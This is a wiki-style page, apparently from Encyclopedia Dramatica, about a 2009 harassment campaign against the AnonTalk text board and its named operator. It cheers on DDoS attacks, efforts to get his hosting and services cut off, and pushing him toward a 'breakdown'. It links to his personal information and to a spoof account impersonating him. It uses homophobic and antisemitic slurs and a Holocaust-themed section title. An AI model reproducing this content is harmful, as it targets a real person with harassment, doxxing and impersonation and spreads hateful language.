On April 17, after recovering from a three-day period of downtime, Sysop announced that he would stop spamming the chans. Once again, Anonymous has proven himself to be unstoppable and immune to all attacks. But Anonymous will not stop in his quest until this horrible travesty of a site is crushed into the ground, because no one who comes up against anonymous lives to tell the tale. So get reporting to his ISP and the FBI, etc.!

On April 18, it went down again, and came back up again on a God awful server that is likely in Sysop's basement.

Less than two weeks later, the spam resumed and the great circle of spam was complete.

Victory was short-lived. Spamming for AnonTalk on 4Chan still exists to this day, and probably always will as long as Kimmo Alm refuses to accept that he's not the iconic moot.

THE FINAL SOLUTION

In August of 2009, the /i/nsurgency set off to exterminate Anontalk once and for all. Many incidents led up to this ultimate plan. The last straw was when Kimmo's cronies attacked the peaceful *chan of Krapple Komputer Kompany (lol KKK).

Kimmo starts to break

"I'm losing money every day."

Keep fucking with him. He's nearing a breakdown.

New strategy results in win

On August 26, 2009, DNS host Gandi gave Anontalk the boot.

Notice how he doesn't BAWWWWWWWWWWWWWWW about disregard for other people's property when it comes to him spamming or about bannings when he does it. As anons all across the Internet broke into celebration, Kimmo probably shat himself.

The victory was short-lived, as Kimmo moved the site onto Network Solutions. But that was just a ticking time bomb as it's well known they won't tolerate bad sites. August 31, Network Solutions realized that they wanted nothing to do with a faggot who managed to get kicked off of Paypal, Google AdSense, and GoDaddy--just to name a few. AND Kimmo got his SSL certificate revoked. Lots of jewgold was flushed down the drain.

Whenever his domain goes down, nobody visits his site. The only posts during that time are obvious fake content of Kimmo talking to himself so he can avoid showing a three day gap in new threads.

As of September 30, 2009, Anontalk's off-site news had this to say: "Yet another fucking DDoS attack; donations fucking needed already."

LAWL BANKRUPT

Gentlemen, we are winning.

See also

• Lockerz.com - A rich billionaire was able to employ so many spambots that it has drowned out even AnonTalk's spam there
• Wutchan - Another spammer

External links

• WOT Security Scorecard of anontalk.com - People with the WOT browser add-on can mark the site down.

Kimmo's stuff

• Status page for when the site is down

Additional Brave Patriot Sites

• insurgen.info stuff about raiding him
• Sysop's personal information (Mirrors: [10], [11], [12] [13], [14], [15]) His mother may answer and claim that he doesn't live with her. This is a lie.
• http://twitter.com/KimmoAlm (spoof as Kimmo's account)
• Anti-Kimmo imageboard No faggy CAPTCHA on this one.

Better anonymous text boards

(To prove a point that if you want to visit an anon text-only board, there is no excuse for going to Kimmo's site.)

• The ones that moved to 4chan from 4-ch.net
• http://awesometalk.co.cc
• http://randomplaza.com/forums.php?fn=m
• http://wakaba.c3.cx
• http://www.killer-maid.net/km/index.html
• http://www.anontalk.fr

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